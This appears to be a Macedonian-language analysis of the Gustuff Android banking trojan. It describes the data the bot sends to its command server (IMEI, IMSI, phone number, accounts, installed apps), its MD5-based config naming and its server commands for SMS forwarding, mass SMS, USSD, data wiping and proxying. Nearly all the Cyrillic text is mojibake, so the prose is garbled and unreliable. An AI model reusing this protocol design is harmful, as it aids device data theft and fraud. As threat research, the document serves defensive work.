Π‘Π΅ΠΊΠΎΡ ΠΏΠ°Ρ ΠΊΠΎΠ³Π° ΡΠ΅ ΡΠ΅ ΠΏΡΠΈΡΡΠ°ΠΏΠΈ Π΄ΠΎ Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡΠ°ΡΠ°, ΡΠ°Π° ΠΈΡΠΏΡΠ°ΡΠ° ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΠΈ Π·Π° Π·Π°ΡΠ°Π·Π΅Π½ΠΈΠΎΡ ΡΡΠ΅Π΄. Π€ΠΎΡΠΌΠ°ΡΠΎΡ Π½Π° ΠΏΠΎΡΠ°ΠΊΠ°ΡΠ° Π΅ ΠΏΡΠΈΠΊΠ°ΠΆΠ°Π½ ΠΏΠΎΠ΄ΠΎΠ»Ρ. ΠΡΠ΅Π΄ΠΈ Π΄Π° ΡΠ΅ Π½Π°ΠΏΠΎΠΌΠ΅Π½Π΅ Π΄Π΅ΠΊΠ° ΠΏΠΎΠ»ΠΈΡΠ°ΡΠ° Π¦Π΅Π»ΠΎΡΠ½Π°, Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡΠ΅Π»Π½ΠΈ, Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΠΈ ΠΈ Π΄ΠΎΠ·Π²ΠΎΠ»Π° β ΠΎΠΏΡΠΈΠΎΠ½Π°Π»Π½ΠΎ ΠΈ ΡΠ΅ Π±ΠΈΠ΄Π΅ ΠΈΡΠΏΡΠ°ΡΠ΅Π½ΠΎ ΡΠ°ΠΌΠΎ Π²ΠΎ ΡΠ»ΡΡΠ°Ρ Π½Π° Π±Π°ΡΠ°ΡΠ΅ ΠΊΠΎΠΌΠ°Π½Π΄Π° ΠΎΠ΄ CnC.
{
"info":
{
"info":
{
"cell":<%Sim operator name%>,
"country":<%Country ISO%>,
"imei":<%IMEI%>,
"number":<%Phone number%>,
"line1Number":<%Phone number%>,
"advertisementId":<%ID%>
},
"state":
{
"admin":<%Has admin rights%>,
"source":<%String%>,
"needPermissions":<%Application needs permissions%>,
"accesByName":<%Boolean%>,
"accesByService":<%Boolean%>,
"safetyNet":<%String%>,
"defaultSmsApp":<%Default Sms Application%>,
"isDefaultSmsApp":<%Current application is Default Sms Application%>,
"dateTime":<%Current date time%>,
"batteryLevel":<%Battery level%>
},
"socks":
{
"id":<%Proxy module ID%>,
"enabled":<%Is enabled%>,
"active":<%Is active%>
},
"version":
{
"versionName":<%Package Version Name%>,
"versionCode":<%Package Version Code%>,
"lastUpdateTime":<%Package Last Update Time%>,
"tag":<%Tag, default value: "TAG"%>,
"targetSdkVersion":<%Target Sdk Version%>,
"buildConfigTimestamp":1541309066721
},
},
"full":
{
"model":<%Device Model%>,
"localeCountry":<%Country%>,
"localeLang":<%Locale language%>,
"accounts":<%JSON array, contains from "name" and "type" of accounts%>,
"lockType":<%Type of lockscreen password%>
},
"extra":
{
"serial":<%Build serial number%>,
"board":<%Build Board%>,
"brand":<%Build Brand%>,
"user":<%Build User%>,
"device":<%Build Device%>,
"display":<%Build Display%>,
"id":<%Build ID%>,
"manufacturer":<%Build manufacturer%>,
"model":<%Build model%>,
"product":<%Build product%>,
"tags":<%Build tags%>,
"type":<%Build type%>,
"imei":<%imei%>,
"imsi":<%imsi%>,
"line1number":<%phonenumber%>,
"iccid":<%Sim serial number%>,
"mcc":<%Mobile country code of operator%>,
"mnc":<%Mobile network codeof operator%>,
"cellid":<%GSM-data%>,
"lac":<%GSM-data%>,
"androidid":<%Android Id%>,
"ssid":<%Wi-Fi SSID%>
},
"apps":{<%List of installed applications%>},
"permission":<%List of granted permissions%>
}
Π‘ΠΊΠ»Π°Π΄ΠΈΡΠ°ΡΠ΅ ΠΏΠΎΠ΄Π°ΡΠΎΡΠΈ Π·Π° ΠΊΠΎΠ½ΡΠΈΠ³ΡΡΠ°ΡΠΈΡΠ°
Gustuff Π·Π°ΡΡΠ²ΡΠ²Π° ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠ²Π½ΠΎ Π²Π°ΠΆΠ½ΠΈ ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΠΈ Π²ΠΎ ΠΏΡΠ΅ΡΠΏΠΎΡΠΈΡΠ°Π½Π° Π΄Π°ΡΠΎΡΠ΅ΠΊΠ°. ΠΠΌΠ΅ΡΠΎ Π½Π° Π΄Π°ΡΠΎΡΠ΅ΠΊΠ°ΡΠ°, ΠΊΠ°ΠΊΠΎ ΠΈ ΠΈΠΌΠΈΡΠ°ΡΠ° Π½Π° ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡΠΈΡΠ΅ Π²ΠΎ Π½Π΅Π³ΠΎ, ΡΠ΅ ΡΠ΅Π·ΡΠ»ΡΠ°Ρ Π½Π° ΠΏΡΠ΅ΡΠΌΠ΅ΡΡΠ²Π°ΡΠ΅ Π½Π° Π·Π±ΠΈΡΠΎΡ MD5 ΠΎΠ΄ Π½ΠΈΠ·Π°ΡΠ° 15413090667214.6.1ΠΊΠ°Π΄Π΅ β ΠΏΠΎΡΠ΅ΡΠ½ΠΎ ΠΈΠΌΠ΅-Π²ΡΠ΅Π΄Π½ΠΎΡΡ. ΠΠ°ΡΡΠΎΠ½ΡΠΊΠ° ΠΈΠ½ΡΠ΅ΡΠΏΡΠ΅ΡΠ°ΡΠΈΡΠ° Π½Π° ΡΡΠ½ΠΊΡΠΈΡΠ°ΡΠ° Π·Π° Π³Π΅Π½Π΅ΡΠΈΡΠ°ΡΠ΅ ΠΈΠΌΠ΅:
nameGenerator(input):
output = md5("15413090667214.6.1" + input)
ΠΠΎ ΠΏΡΠΎΠ΄ΠΎΠ»ΠΆΠ΅Π½ΠΈΠ΅ ΡΠ΅ Π³ΠΎ ΠΎΠ·Π½Π°ΡΠΈΠΌΠ΅ ΠΊΠ°ΠΊΠΎ nameGenerator (Π²Π»Π΅Π·).
ΠΠ½Π°ΡΠΈ ΠΏΡΠ²ΠΎΡΠΎ ΠΈΠΌΠ΅ Π½Π° Π΄Π°ΡΠΎΡΠ΅ΠΊΠ° Π΅: nameGenerator (βAPI_SERVER_LISTβ), ΡΠΎΠ΄ΡΠΆΠΈ Π²ΡΠ΅Π΄Π½ΠΎΡΡΠΈ ΡΠΎ ΡΠ»Π΅Π΄Π½ΠΈΡΠ΅ ΠΈΠΌΠΈΡΠ°:
ΠΠΌΠ΅ Π½Π° ΠΏΡΠΎΠΌΠ΅Π½Π»ΠΈΠ²Π° | ΠΡΠ΅Π΄Π½ΠΎΡΡ |
---|---|
nameGenerator (βAPI_SERVER_LISTβ) | Π‘ΠΎΠ΄ΡΠΆΠΈ Π»ΠΈΡΡΠ° Π½Π° CnC Π°Π΄ΡΠ΅ΡΠΈ Π²ΠΎ ΡΠΎΡΠΌΠ° Π½Π° Π½ΠΈΠ·Π°. |
nameGenerator (βAPI_SERVER_URLβ) | ΠΠ° ΡΠΎΠ΄ΡΠΆΠΈ Π°Π΄ΡΠ΅ΡΠ°ΡΠ° CnC. |
nameGenerator (βSMS_UPLOADβ) | ΠΠ½Π°ΠΌΠ΅ΡΠΎ Π΅ ΡΡΠ°Π½Π΄Π°ΡΠ΄Π½ΠΎ ΠΏΠΎΡΡΠ°Π²Π΅Π½ΠΎ. ΠΠΊΠΎ Π·Π½Π°ΠΌΠ΅ΡΠΎ Π΅ ΠΏΠΎΡΡΠ°Π²Π΅Π½ΠΎ, ΠΈΡΠΏΡΠ°ΡΠ° Π‘ΠΠ‘ ΠΏΠΎΡΠ°ΠΊΠΈ Π΄ΠΎ CnC. |
nameGenerator (βSMS_ROOT_NUMBERβ) | Π’Π΅Π»Π΅ΡΠΎΠ½ΡΠΊΠΈ Π±ΡΠΎΡ Π½Π° ΠΊΠΎΡ ΡΠ΅ ΡΠ΅ ΠΈΡΠΏΡΠ°ΡΠ°Π°Ρ Π‘ΠΠ‘ ΠΏΠΎΡΠ°ΠΊΠΈΡΠ΅ Π΄ΠΎΠ±ΠΈΠ΅Π½ΠΈ ΠΎΠ΄ Π·Π°ΡΠ°Π·Π΅Π½ΠΈΠΎΡ ΡΡΠ΅Π΄. Π‘ΡΠ°Π½Π΄Π°ΡΠ΄Π½ΠΎ Π΅ Π½ΡΠ»Π°. |
nameGenerator (βSMS_ROOT_NUMBER_RESENDβ) | ΠΠ½Π°ΠΌΠ΅ΡΠΎ Π΅ ΡΡΠ°Π½Π΄Π°ΡΠ΄Π½ΠΎ ΠΈΡΡΠΈΡΡΠ΅Π½ΠΎ. ΠΠΊΠΎ Π΅ ΠΈΠ½ΡΡΠ°Π»ΠΈΡΠ°Π½, ΠΊΠΎΠ³Π° Π·Π°ΡΠ°Π·Π΅Π½ΠΈΠΎΡ ΡΡΠ΅Π΄ ΡΠ΅ Π΄ΠΎΠ±ΠΈΠ΅ SMS ΠΏΠΎΡΠ°ΠΊΠ°, ΡΠΎΡ ΡΠ΅ Π±ΠΈΠ΄Π΅ ΠΈΡΠΏΡΠ°ΡΠ΅Π½ Π΄ΠΎ ΠΊΠΎΡΠ΅Π½ΡΠΊΠΈΠΎΡ Π±ΡΠΎΡ. |
nameGenerator (βDEFAULT_APP_SMSβ) | ΠΠ½Π°ΠΌΠ΅ΡΠΎ Π΅ ΡΡΠ°Π½Π΄Π°ΡΠ΄Π½ΠΎ ΠΈΡΡΠΈΡΡΠ΅Π½ΠΎ. ΠΠΊΠΎ Π΅ ΠΏΠΎΡΡΠ°Π²Π΅Π½ΠΎ ΠΎΠ²Π° Π·Π½Π°ΠΌΠ΅Π½ΡΠ΅, Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡΠ°ΡΠ° ΡΠ΅ Π³ΠΈ ΠΎΠ±ΡΠ°Π±ΠΎΡΡΠ²Π° Π΄ΠΎΡΠ΄ΠΎΠ²Π½ΠΈΡΠ΅ Π‘ΠΠ‘ ΠΏΠΎΡΠ°ΠΊΠΈ. |
nameGenerator (βDEFAULT_ADMINβ) | ΠΠ½Π°ΠΌΠ΅ΡΠΎ Π΅ ΡΡΠ°Π½Π΄Π°ΡΠ΄Π½ΠΎ ΠΈΡΡΠΈΡΡΠ΅Π½ΠΎ. ΠΠΊΠΎ Π·Π½Π°ΠΌΠ΅ΡΠΎ Π΅ ΠΏΠΎΡΡΠ°Π²Π΅Π½ΠΎ, Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡΠ°ΡΠ° ΠΈΠΌΠ° Π°Π΄ΠΌΠΈΠ½ΠΈΡΡΡΠ°ΡΠΎΡΡΠΊΠΈ ΠΏΡΠ°Π²Π°. |
nameGenerator (βDEFAULT_ACCESSIBILITYβ) | ΠΠ½Π°ΠΌΠ΅ΡΠΎ Π΅ ΡΡΠ°Π½Π΄Π°ΡΠ΄Π½ΠΎ ΠΈΡΡΠΈΡΡΠ΅Π½ΠΎ. ΠΠΊΠΎ Π·Π½Π°ΠΌΠ΅ΡΠΎ Π΅ ΠΏΠΎΡΡΠ°Π²Π΅Π½ΠΎ, ΡΠ΅ ΠΈΠ·Π²ΡΡΡΠ²Π° ΡΡΠ»ΡΠ³Π° ΡΡΠΎ ΡΠ° ΠΊΠΎΡΠΈΡΡΠΈ Π£ΡΠ»ΡΠ³Π°ΡΠ° Π·Π° ΠΏΡΠΈΡΡΠ°ΠΏΠ½ΠΎΡΡ. |
nameGenerator (βAPPS_CONFIGβ) | ΠΠ±ΡΠ΅ΠΊΡ JSON ΡΡΠΎ ΡΠΎΠ΄ΡΠΆΠΈ ΡΠΏΠΈΡΠΎΠΊ Π½Π° Π΄Π΅ΡΡΡΠ²Π° ΡΡΠΎ ΠΌΠΎΡΠ° Π΄Π° ΡΠ΅ ΠΈΠ·Π²ΡΡΠ°Ρ ΠΊΠΎΠ³Π° ΡΠ΅ ΡΠ΅ Π°ΠΊΡΠΈΠ²ΠΈΡΠ° Π½Π°ΡΡΠ°Π½ Π·Π° ΠΏΡΠΈΡΡΠ°ΠΏΠ½ΠΎΡΡ ΠΏΠΎΠ²ΡΠ·Π°Π½ ΡΠΎ ΠΎΠ΄ΡΠ΅Π΄Π΅Π½Π° Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡΠ°. |
nameGenerator (βAPPS_INSTALLEDβ) | Π‘ΠΊΠ»Π°Π΄ΠΈΡΠ° ΡΠΏΠΈΡΠΎΠΊ Π½Π° Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΠΈ ΠΈΠ½ΡΡΠ°Π»ΠΈΡΠ°Π½ΠΈ Π½Π° ΡΡΠ΅Π΄ΠΎΡ. |
nameGenerator (βIS_FIST_RUNβ) | ΠΠ½Π°ΠΌΠ΅ΡΠΎ ΡΠ΅ ΡΠ΅ΡΠ΅ΡΠΈΡΠ° Π½Π° ΠΏΡΠ²ΠΈΠΎΡ ΠΏΠΎΡΠ΅ΡΠΎΠΊ. |
nameGenerator (βUNIQUE_IDβ) | Π‘ΠΎΠ΄ΡΠΆΠΈ Π΅Π΄ΠΈΠ½ΡΡΠ²Π΅Π½ ΠΈΠ΄Π΅Π½ΡΠΈΡΠΈΠΊΠ°ΡΠΎΡ. Π‘Π΅ Π³Π΅Π½Π΅ΡΠΈΡΠ° ΠΊΠΎΠ³Π° Π±ΠΎΡΠΎΡ ΡΠ΅ Π»Π°Π½ΡΠΈΡΠ° Π·Π° ΠΏΡΠ² ΠΏΠ°Ρ. |
ΠΠΎΠ΄ΡΠ» Π·Π° ΠΎΠ±ΡΠ°Π±ΠΎΡΠΊΠ° Π½Π° ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ ΠΎΠ΄ ΡΠ΅ΡΠ²Π΅ΡΠΎΡ
ΠΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡΠ°ΡΠ° Π³ΠΈ ΡΠΊΠ»Π°Π΄ΠΈΡΠ° Π°Π΄ΡΠ΅ΡΠΈΡΠ΅ Π½Π° CnC ΡΠ΅ΡΠ²Π΅ΡΠΈΡΠ΅ Π²ΠΎ ΡΠΎΡΠΌΠ° Π½Π° Π½ΠΈΠ·Π° ΠΊΠΎΠ΄ΠΈΡΠ°Π½Π° ΠΎΠ΄ ΠΠ°Π·Π°85 Π»ΠΈΠ½ΠΈΠΈ. Π‘ΠΏΠΈΡΠΎΠΊΠΎΡ Π½Π° CnC ΡΠ΅ΡΠ²Π΅ΡΠΈ ΠΌΠΎΠΆΠ΅ Π΄Π° ΡΠ΅ ΡΠΌΠ΅Π½ΠΈ ΠΏΠΎ Π΄ΠΎΠ±ΠΈΠ²Π°ΡΠ΅ΡΠΎ Π½Π° ΡΠΎΠΎΠ΄Π²Π΅ΡΠ½Π°ΡΠ° ΠΊΠΎΠΌΠ°Π½Π΄Π°, Π²ΠΎ ΡΠΎΡ ΡΠ»ΡΡΠ°Ρ Π°Π΄ΡΠ΅ΡΠΈΡΠ΅ ΡΠ΅ Π±ΠΈΠ΄Π°Ρ Π·Π°ΡΡΠ²Π°Π½ΠΈ Π²ΠΎ ΠΏΡΠ΅ΡΠ΅ΡΠ΅Π½ΡΠΈΡΠ°Π»Π½Π° Π΄Π°ΡΠΎΡΠ΅ΠΊΠ°.
ΠΠ°ΠΊΠΎ ΠΎΠ΄Π³ΠΎΠ²ΠΎΡ Π½Π° Π±Π°ΡΠ°ΡΠ΅ΡΠΎ, ΡΠ΅ΡΠ²Π΅ΡΠΎΡ ΠΈΡΠΏΡΠ°ΡΠ° ΠΊΠΎΠΌΠ°Π½Π΄Π° Π΄ΠΎ Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡΠ°ΡΠ°. ΠΡΠ΅Π΄ΠΈ Π΄Π° ΡΠ΅ Π½Π°ΠΏΠΎΠΌΠ΅Π½Π΅ Π΄Π΅ΠΊΠ° ΠΊΠΎΠΌΠ°Π½Π΄ΠΈΡΠ΅ ΠΈ ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡΠΈΡΠ΅ ΡΠ΅ ΠΏΡΠ΅ΡΡΡΠ°Π²Π΅Π½ΠΈ Π²ΠΎ JSON ΡΠΎΡΠΌΠ°Ρ. ΠΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡΠ°ΡΠ° ΠΌΠΎΠΆΠ΅ Π΄Π° Π³ΠΈ ΠΎΠ±ΡΠ°Π±ΠΎΡΠΈ ΡΠ»Π΅Π΄Π½ΠΈΡΠ΅ ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ:
Π’ΠΈΠΌ | ΠΠΏΠΈΡ |
---|---|
Π½Π°ΠΏΡΠ΅Π΄ Π‘ΡΠ°ΡΡ | ΠΠ°ΠΏΠΎΡΠ½Π΅ΡΠ΅ Π΄Π° ΠΈΡΠΏΡΠ°ΡΠ°ΡΠ΅ Π‘ΠΠ‘ ΠΏΠΎΡΠ°ΠΊΠΈ Π΄ΠΎΠ±ΠΈΠ΅Π½ΠΈ ΠΎΠ΄ Π·Π°ΡΠ°Π·Π΅Π½ΠΈΠΎΡ ΡΡΠ΅Π΄ Π΄ΠΎ ΡΠ΅ΡΠ²Π΅ΡΠΎΡ CnC. |
Π½Π°ΠΏΡΠ΅Π΄Π‘ΡΠΎΠΏ | ΠΡΠ΅ΡΡΠ°Π½Π΅ΡΠ΅ Π΄Π° ΠΈΡΠΏΡΠ°ΡΠ°ΡΠ΅ Π‘ΠΠ‘-ΠΏΠΎΡΠ°ΠΊΠΈ Π΄ΠΎΠ±ΠΈΠ΅Π½ΠΈ ΠΎΠ΄ Π·Π°ΡΠ°Π·Π΅Π½ΠΈΠΎΡ ΡΡΠ΅Π΄ Π΄ΠΎ ΡΠ΅ΡΠ²Π΅ΡΠΎΡ CnC. |
ussdRun | ΠΠ·Π²ΡΡΠ΅ΡΠ΅ USSD Π±Π°ΡΠ°ΡΠ΅. ΠΡΠΎΡΠΎΡ Π½Π° ΠΊΠΎΡ ΡΡΠ΅Π±Π° Π΄Π° ΠΏΠΎΠ΄Π½Π΅ΡΠ΅ΡΠ΅ Π±Π°ΡΠ°ΡΠ΅ Π·Π° USSD ΡΠ΅ Π½Π°ΠΎΡΠ° Π²ΠΎ ΠΏΠΎΠ»Π΅ΡΠΎ JSON βΠ±ΡΠΎΡβ. |
ΠΏΡΠ°ΡΠΈ Π‘ΠΠ‘ | ΠΡΠΏΡΠ°ΡΠ΅ΡΠ΅ Π΅Π΄Π½Π° Π‘ΠΠ‘ ΠΏΠΎΡΠ°ΠΊΠ° (Π°ΠΊΠΎ Π΅ ΠΏΠΎΡΡΠ΅Π±Π½ΠΎ, ΠΏΠΎΡΠ°ΠΊΠ°ΡΠ° Π΅ βΠΏΠΎΠ΄Π΅Π»Π΅Π½Π°β Π½Π° Π΄Π΅Π»ΠΎΠ²ΠΈ). ΠΠ°ΠΊΠΎ ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΠ°Ρ, ΠΊΠΎΠΌΠ°Π½Π΄Π°ΡΠ° Π·Π΅ΠΌΠ° JSON ΠΎΠ±ΡΠ΅ΠΊΡ ΠΊΠΎΡ Π³ΠΈ ΡΠΎΠ΄ΡΠΆΠΈ ΠΏΠΎΠ»ΠΈΡΠ°ΡΠ° βtoβ - ΠΎΠ΄ΡΠ΅Π΄ΠΈΡΠ½ΠΈΠΎΡ Π±ΡΠΎΡ ΠΈ βbodyβ - ΡΠ΅Π»ΠΎΡΠΎ Π½Π° ΠΏΠΎΡΠ°ΠΊΠ°ΡΠ°. |
sendSmsAb | ΠΡΠΏΡΠ°ΡΠ΅ΡΠ΅ Π‘ΠΠ‘ ΠΏΠΎΡΠ°ΠΊΠΈ (Π΄ΠΎΠΊΠΎΠ»ΠΊΡ Π΅ ΠΏΠΎΡΡΠ΅Π±Π½ΠΎ, ΠΏΠΎΡΠ°ΠΊΠ°ΡΠ° Π΅ βΠΏΠΎΠ΄Π΅Π»Π΅Π½Π°β Π½Π° Π΄Π΅Π»ΠΎΠ²ΠΈ) Π΄ΠΎ ΡΠΈΡΠ΅ Π²ΠΎ ΡΠΏΠΈΡΠΎΠΊΠΎΡ ΡΠΎ ΠΊΠΎΠ½ΡΠ°ΠΊΡΠΈ Π½Π° Π·Π°ΡΠ°Π·Π΅Π½ΠΈΠΎΡ ΡΡΠ΅Π΄. ΠΠ½ΡΠ΅ΡΠ²Π°Π»ΠΎΡ ΠΏΠΎΠΌΠ΅ΡΡ ΠΈΡΠΏΡΠ°ΡΠ°ΡΠ΅ ΠΏΠΎΡΠ°ΠΊΠΈ Π΅ 10 ΡΠ΅ΠΊΡΠ½Π΄ΠΈ. Π’Π΅Π»ΠΎΡΠΎ Π½Π° ΠΏΠΎΡΠ°ΠΊΠ°ΡΠ° Π΅ Π²ΠΎ ΠΏΠΎΠ»Π΅ΡΠΎ JSON βΡΠ΅Π»ΠΎβ |
sendSmsMass | ΠΡΠΏΡΠ°ΡΠ΅ΡΠ΅ Π‘ΠΠ‘ ΠΏΠΎΡΠ°ΠΊΠΈ (Π΄ΠΎΠΊΠΎΠ»ΠΊΡ Π΅ ΠΏΠΎΡΡΠ΅Π±Π½ΠΎ, ΠΏΠΎΡΠ°ΠΊΠ°ΡΠ° Π΅ βΠΏΠΎΠ΄Π΅Π»Π΅Π½Π°β Π½Π° Π΄Π΅Π»ΠΎΠ²ΠΈ) Π΄ΠΎ ΠΊΠΎΠ½ΡΠ°ΠΊΡΠΈΡΠ΅ Π½Π°Π²Π΅Π΄Π΅Π½ΠΈ Π²ΠΎ ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΈΡΠ΅ ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡΠΈ. ΠΠ½ΡΠ΅ΡΠ²Π°Π»ΠΎΡ ΠΏΠΎΠΌΠ΅ΡΡ ΠΈΡΠΏΡΠ°ΡΠ°ΡΠ΅ ΠΏΠΎΡΠ°ΠΊΠΈ Π΅ 10 ΡΠ΅ΠΊΡΠ½Π΄ΠΈ. ΠΠ°ΠΊΠΎ ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΠ°Ρ, ΠΊΠΎΠΌΠ°Π½Π΄Π°ΡΠ° Π·Π΅ΠΌΠ° Π½ΠΈΠ·Π° JSON (ΠΏΠΎΠ»Π΅ΡΠΎ βsmsβ), ΡΠΈΠΈ Π΅Π»Π΅ΠΌΠ΅Π½ΡΠΈ Π³ΠΈ ΡΠΎΠ΄ΡΠΆΠ°Ρ ΠΏΠΎΠ»ΠΈΡΠ°ΡΠ° βΠ΄ΠΎβ - Π±ΡΠΎΡΠΎΡ Π½Π° Π΄Π΅ΡΡΠΈΠ½Π°ΡΠΈΡΠ°ΡΠ° ΠΈ βΡΠ΅Π»ΠΎΡΠΎβ - ΡΠ΅Π»ΠΎΡΠΎ Π½Π° ΠΏΠΎΡΠ°ΠΊΠ°ΡΠ°. |
ΠΏΡΠΎΠΌΠ΅Π½Π° Π½Π° ΡΠ΅ΡΠ²Π΅ΡΠΎΡ | ΠΠ²Π°Π° ΠΊΠΎΠΌΠ°Π½Π΄Π° ΠΌΠΎΠΆΠ΅ Π΄Π° Π·Π΅ΠΌΠ΅ Π²ΡΠ΅Π΄Π½ΠΎΡΡ ΡΠΎ ΠΊΠ»ΡΡΠΎΡ βurlβ ΠΊΠ°ΠΊΠΎ ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΠ°Ρ - ΡΠΎΠ³Π°Ρ Π±ΠΎΡΠΎΡ ΡΠ΅ ΡΠ° ΡΠΌΠ΅Π½ΠΈ Π²ΡΠ΅Π΄Π½ΠΎΡΡΠ° Π½Π° nameGenerator(βSERVER_URLβ) ΠΈΠ»ΠΈ βΠ½ΠΈΠ·Π°β - ΡΠΎΠ³Π°Ρ Π±ΠΎΡΠΎΡ ΡΠ΅ ΡΠ° Π·Π°ΠΏΠΈΡΠ΅ Π½ΠΈΠ·Π°ΡΠ° Π²ΠΎ nameGenerator (βAPI_SERVER_LISTβ) Π’Π°ΠΊΠ°, Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡΠ°ΡΠ° ΡΠ° ΠΌΠ΅Π½ΡΠ²Π° Π°Π΄ΡΠ΅ΡΠ°ΡΠ° Π½Π° CnC ΡΠ΅ΡΠ²Π΅ΡΠΈΡΠ΅. |
Π°Π΄ΠΌΠΈΠ½ΠΈΡΡΡΠ°ΡΠΈΠ²Π΅Π½ Π±ΡΠΎΡ | ΠΠΎΠΌΠ°Π½Π΄Π°ΡΠ° Π΅ Π΄ΠΈΠ·Π°ΡΠ½ΠΈΡΠ°Π½Π° Π΄Π° ΡΠ°Π±ΠΎΡΠΈ ΡΠΎ root Π±ΡΠΎΡ. ΠΠΎΠΌΠ°Π½Π΄Π°ΡΠ° ΠΏΡΠΈΡΠ°ΡΠ° JSON ΠΎΠ±ΡΠ΅ΠΊΡ ΡΠΎ ΡΠ»Π΅Π΄Π½ΠΈΡΠ΅ ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡΠΈ: βΠ±ΡΠΎΡβ β ΡΠΌΠ΅Π½Π΅ΡΠ΅ Π³ΠΎ ΠΈΠΌΠ΅ΡΠΎ ΠΠ΅Π½Π΅ΡΠ°ΡΠΎΡ (βROOT_NUMBERβ) Π²ΠΎ Π΄ΠΎΠ±ΠΈΠ΅Π½Π°ΡΠ° Π²ΡΠ΅Π΄Π½ΠΎΡΡ, βΠΏΠΎΠ²ΡΠΎΡΠ½ΠΎ ΠΈΡΠΏΡΠ°ΡΠ΅ΡΠ΅β β ΠΏΡΠΎΠΌΠ΅Π½Π΅ΡΠ΅ Π³ΠΎ ΠΠ΅Π½Π΅ΡΠ°ΡΠΎΡΠΎΡ ΠΈΠΌΠ΅ (βSMS_ROOT_NUMBER_RESENDβ), βsendIdβ β ΠΈΡΠΏΡΠ°ΡΠ΅ΡΠ΅ Π΄ΠΎ nameGenerator (βROOT_NUMBERβ ) Π΅Π΄ΠΈΠ½ΡΡΠ²Π΅Π½ ID. |
updateInfo | ΠΡΠΏΡΠ°ΡΠ΅ΡΠ΅ ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΠΈ Π·Π° Π·Π°ΡΠ°Π·Π΅Π½ΠΈΠΎΡ ΡΡΠ΅Π΄ Π½Π° ΡΠ΅ΡΠ²Π΅ΡΠΎΡ. |
ΠΈΠ·Π±ΡΠΈΡΠ΅ΡΠ΅ ΠΏΠΎΠ΄Π°ΡΠΎΡΠΈ | ΠΠΎΠΌΠ°Π½Π΄Π°ΡΠ° Π΅ Π½Π°ΠΌΠ΅Π½Π΅ΡΠ° Π΄Π° Π³ΠΈ ΠΈΠ·Π±ΡΠΈΡΠ΅ ΠΊΠΎΡΠΈΡΠ½ΠΈΡΠΊΠΈΡΠ΅ ΠΏΠΎΠ΄Π°ΡΠΎΡΠΈ. ΠΠΎ Π·Π°Π²ΠΈΡΠ½ΠΎΡΡ ΠΎΠ΄ ΡΠΎΠ° ΠΊΠ°ΠΊΠ²ΠΎ ΠΈΠΌΠ΅ Π΅ ΡΡΠ°ΡΡΡΠ²Π°Π½Π° Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡΠ°ΡΠ°, ΠΈΠ»ΠΈ ΠΏΠΎΠ΄Π°ΡΠΎΡΠΈΡΠ΅ ΡΠ΅Π»ΠΎΡΠ½ΠΎ ΡΠ΅ Π±ΡΠΈΡΠ°Ρ ΡΠΎ ΡΠ΅ΡΡΠ°ΡΡΠΈΡΠ°ΡΠ΅ Π½Π° ΡΡΠ΅Π΄ΠΎΡ (ΠΏΡΠΈΠΌΠ°ΡΠ΅Π½ ΠΊΠΎΡΠΈΡΠ½ΠΈΠΊ), ΠΈΠ»ΠΈ ΡΠ΅ Π±ΡΠΈΡΠ°Ρ ΡΠ°ΠΌΠΎ ΠΊΠΎΡΠΈΡΠ½ΠΈΡΠΊΠΈΡΠ΅ ΠΏΠΎΠ΄Π°ΡΠΎΡΠΈ (ΡΠ΅ΠΊΡΠ½ΡΠ΅Π΄Π΅Π½ ΠΊΠΎΡΠΈΡΠ½ΠΈΠΊ). |
ΡΠΎΡΠ°ΠΏΠΈ Π‘ΡΠ°ΡΡ | Π‘ΡΠ°ΡΡΡΠ²Π°ΡΡΠ΅ Π³ΠΎ ΠΏΡΠΎΠΊΡΠΈ-ΠΌΠΎΠ΄ΡΠ»ΠΎΡ. Π Π°Π±ΠΎΡΠ°ΡΠ° Π½Π° ΠΌΠΎΠ΄ΡΠ»ΠΎΡ Π΅ ΠΎΠΏΠΈΡΠ°Π½Π° Π²ΠΎ ΠΏΠΎΡΠ΅Π±Π΅Π½ Π΄Π΅Π». |
ΡΠΎΡΠ°ΠΏΠΈΠ‘ΡΠΎΠΏ | ΠΠ°ΠΏΡΠ΅ΡΠ΅ Π³ΠΎ ΠΏΡΠΎΠΊΡΠΈ-ΠΌΠΎΠ΄ΡΠ»ΠΎΡ. |
openLink | Π‘Π»Π΅Π΄Π΅ΡΠ΅ ΡΠ° Π²ΡΡΠΊΠ°ΡΠ°. ΠΡΡΠΊΠ°ΡΠ° ΡΠ΅ Π½Π°ΠΎΡΠ° Π²ΠΎ ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΠ°ΡΠΎΡ JSON ΠΏΠΎΠ΄ ΠΊΠΎΠΏΡΠ΅ΡΠΎ βURLβ. βandroid.intent.action.VIEWβ ΡΠ΅ ΠΊΠΎΡΠΈΡΡΠΈ Π·Π° ΠΎΡΠ²ΠΎΡΠ°ΡΠ΅ Π½Π° Π²ΡΡΠΊΠ°ΡΠ°. |
